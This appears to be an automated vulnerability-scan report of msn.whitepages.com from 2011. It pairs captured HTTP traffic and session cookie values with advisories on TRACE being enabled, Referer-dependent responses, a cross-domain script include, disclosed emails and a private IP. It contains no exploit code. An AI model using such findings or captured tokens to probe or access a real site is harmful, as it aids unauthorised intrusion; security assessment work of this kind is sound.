GET /area_zip_codes HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /cs.gif HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: rsi_segs=; s_cc=true; s_vi=[CS]v1|26964919051482C7-4000016560011535[CE]; s_sq=whitepagespartnerprod%3D%2526pid%253DPerson%252520-%252520Search%252520Form%2526pidt%253D1%2526oid%253Dhttp%25253A//msn.whitepages.com/%2526ot%253DA%2526oi%253D235; Sample=84; wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySVKwQAEYAABlYJ3g%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
Response
HTTP/1.1 200 OK Vary: Accept-Encoding P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM" Set-Cookie: wpn_persistent=max_utype%3Ddefault%26PID%3DTSySVKwQAEYAABlYJ3g%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D%253B; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.whitepages.com Set-Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; path=/; domain=.whitepages.com Date: Tue, 11 Jan 2011 17:30:17 GMT Connection: close Server: Apache/1.3.37 (Unix) mod_perl/1.30 Content-Type: image/gif Content-Length: 43
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /person HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /privacy HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>MSN White Pages - Find People for Free</title> <meta name="description" content="Free people search lookup in U ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /reverse-lookup HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /search/FindPerson HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /search/ReversePhone HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /terms HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>MSN White Pages - Find People for Free</title> <meta name="description" content="Free people search lookup in U ...[SNIP]...
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.
Request 1
GET / HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.bing.com/search?q=whitepages&form=MSNH14&qs=n&sk=&sc=8-0 Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: msn.whitepages.com Proxy-Connection: Keep-Alive
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]... xt/javascript"> var jsStart = (new Date()).getTime(); var JiffyParams = { jsStart: jsStart, pname: 'PERS_FORM', sid: '5070', THROTTLE: '0', uid: '5915783779' + '' + Math.abs(jsStart) }; </script><script type="text/javascript" src="/static/1288921179/common.js?stg=prod&omni_account=whitepagespartner"></script><script type="text/javascript"> var common_ad = new COMMON_AD();
<!-- var segQS = ''; var rsi_data = ''; var rdb_data = common_ad.get_rdb_params( get_rdb_cookie( ) ); // -->
</script><script type="text/javascript">
<!--
//var rsi_data = null;
function DM_onSegsAvailable(rsinetsegs) { // required to get data from the array, but we're using the cookie for now. // rsi_data = getRSIDataFromArray(rsinetsegs); }
function getRSISegs() { var rsi_segs = []; var segs_beg = document.cookie.indexOf('rsi_segs='); if (segs_beg >= 0) { segs_beg = document.cookie.indexOf('=', segs_beg) + 1; if (segs_beg > 0) { var segs_end = document.cookie.indexOf(';', segs_beg); if (segs_end == -1) segs_end = document.cookie.length; rsi_segs = document.cookie.substring(segs_beg, segs_end).split('|'); } } return rsi_segs; }
function getRSIDataFromCookie() { try { var rsi_regex = /(?:A06546|(\w{1})\d+)_(\d+)/;
rsi_segs = getRSISegs();
var segLen = rsi_segs.length < 20 ? rsi_segs.length : 20; var rsi_data = '/keyword='; for (var i = 0; i < segLen; i++) { rsi_data += (rsi_segs[i].replace(rsi_regex, '$1$2') + '+'); }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; cha ...[SNIP]... xt/javascript"> var jsStart = (new Date()).getTime(); var JiffyParams = { jsStart: jsStart, pname: 'PERS_FORM', sid: '5070', THROTTLE: '0', uid: '7895324113' + '' + Math.abs(jsStart) }; </script><script type="text/javascript" src="/static/1288921150/common.js?stg=prod&omni_account=whitepagespartner"></script><script type="text/javascript"> var common_ad = new COMMON_AD();
<!-- var segQS = ''; var rsi_data = ''; var rdb_data = common_ad.get_rdb_params( get_rdb_cookie( ) ); // -->
</script><script type="text/javascript">
<!--
//var rsi_data = null;
function DM_onSegsAvailable(rsinetsegs) { // required to get data from the array, but we're using the cookie for now. // rsi_data = getRSIDataFromArray(rsinetsegs); }
function getRSISegs() { var rsi_segs = []; var segs_beg = document.cookie.indexOf('rsi_segs='); if (segs_beg >= 0) { segs_beg = document.cookie.indexOf('=', segs_beg) + 1; if (segs_beg > 0) { var segs_end = document.cookie.indexOf(';', segs_beg); if (segs_end == -1) segs_end = document.cookie.length; rsi_segs = document.cookie.substring(segs_beg, segs_end).split('|'); } } return rsi_segs; }
function getRSIDataFromCookie() { try { var rsi_regex = /(?:A06546|(\w{1})\d+)_(\d+)/;
rsi_segs = getRSISegs();
var segLen = rsi_segs.length < 20 ? rsi_segs.length : 20; var rsi_data = '/keyword='; for (var i = 0; i < segLen; i++) { rsi_data += (rsi_segs[i].replace(rsi_regex, '$1$2') + '+'); }
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /area_zip_codes HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
GET /person HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
GET /privacy HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
GET /reverse-lookup HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
GET /search/FindPerson HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
GET /search/ReversePhone HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
GET /terms HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
The following email addresses were disclosed in the response:
childrensprivacy@whitepages.com
privacy@whitepages.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /privacy HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>MSN White Pages - Find People for Free</title> <meta name="description" content="Free people search lookup in U ...[SNIP]... <a href="mailto:childrensprivacy@whitepages.com" title="Send email to childrensprivacy@whitepages.com"> ...[SNIP]... <a href="mailto:privacy@whitepages.com" title="Send email to privacy@whitepages.com"> ...[SNIP]...
The following RFC 1918 IP address was disclosed in the response:
192.168.0.1
Issue background
RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.
Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.
Issue remediation
There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.
Request
GET /static/common/endemic.js HTTP/1.1 Accept: */* Referer: http://msn.whitepages.com/ Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Accept-Encoding: gzip, deflate Host: msn.whitepages.com Proxy-Connection: Keep-Alive Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D
Response
HTTP/1.1 200 OK Date: Tue, 11 Jan 2011 17:23:56 GMT Server: Apache/1.3.37 (Unix) mod_perl/1.30 Last-Modified: Fri, 05 Nov 2010 01:38:35 GMT Content-Type: application/x-javascript Vary: Accept-Encoding Content-Length: 15490
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: msn.whitepages.com
Response
HTTP/1.1 200 OK Date: Tue, 11 Jan 2011 17:24:26 GMT Server: Apache/1.3.37 (Unix) mod_perl/1.30 Last-Modified: Fri, 05 Nov 2010 01:41:14 GMT ETag: "90e4b-1db-4cd360ba" Accept-Ranges: bytes Content-Length: 475 Content-Type: text/plain Vary: Accept-Encoding Connection: close
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!WhitePages.com - Seattle, WA> <meta http-equiv="Pragma" content="no-cache"> <html> <head> <title>WhitePages.com, Inc. Data Maintenanc ...[SNIP]...
GET /bserver/AAMALL HTTP/1.1 Host: msn.whitepages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; CloudScan) Connection: close Cookie: wpn_session=xps_5070%3D%26wp_stage%3Dproduction%26type%3Ddefault%26session_search_count%3D; __qca=P0-1188856694-1294766592029; wpn_persistent=max_utype%3Ddefault%26PID%3DTSySK6wQAEgAABqBQWY%26times_seen_invite%3D%26filled_demo_survey%3D%26wp_stage%3Dproduction%26persistent_search_count%3D%26had_successful_search%3D;
Response
HTTP/1.1 404 Not Found Vary: Accept-Encoding Vary: Accept-Encoding Date: Tue, 11 Jan 2011 17:24:36 GMT Connection: close Server: Apache/1.3.37 (Unix) mod_perl/1.30 Content-Type: text/html Content-Length: 1054
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!WhitePages.com - Seattle, WA> <meta http-equiv="Pragma" content="no-cache"> <html> <head> <title>WhitePages.com, Inc. Data Maintenanc ...[SNIP]...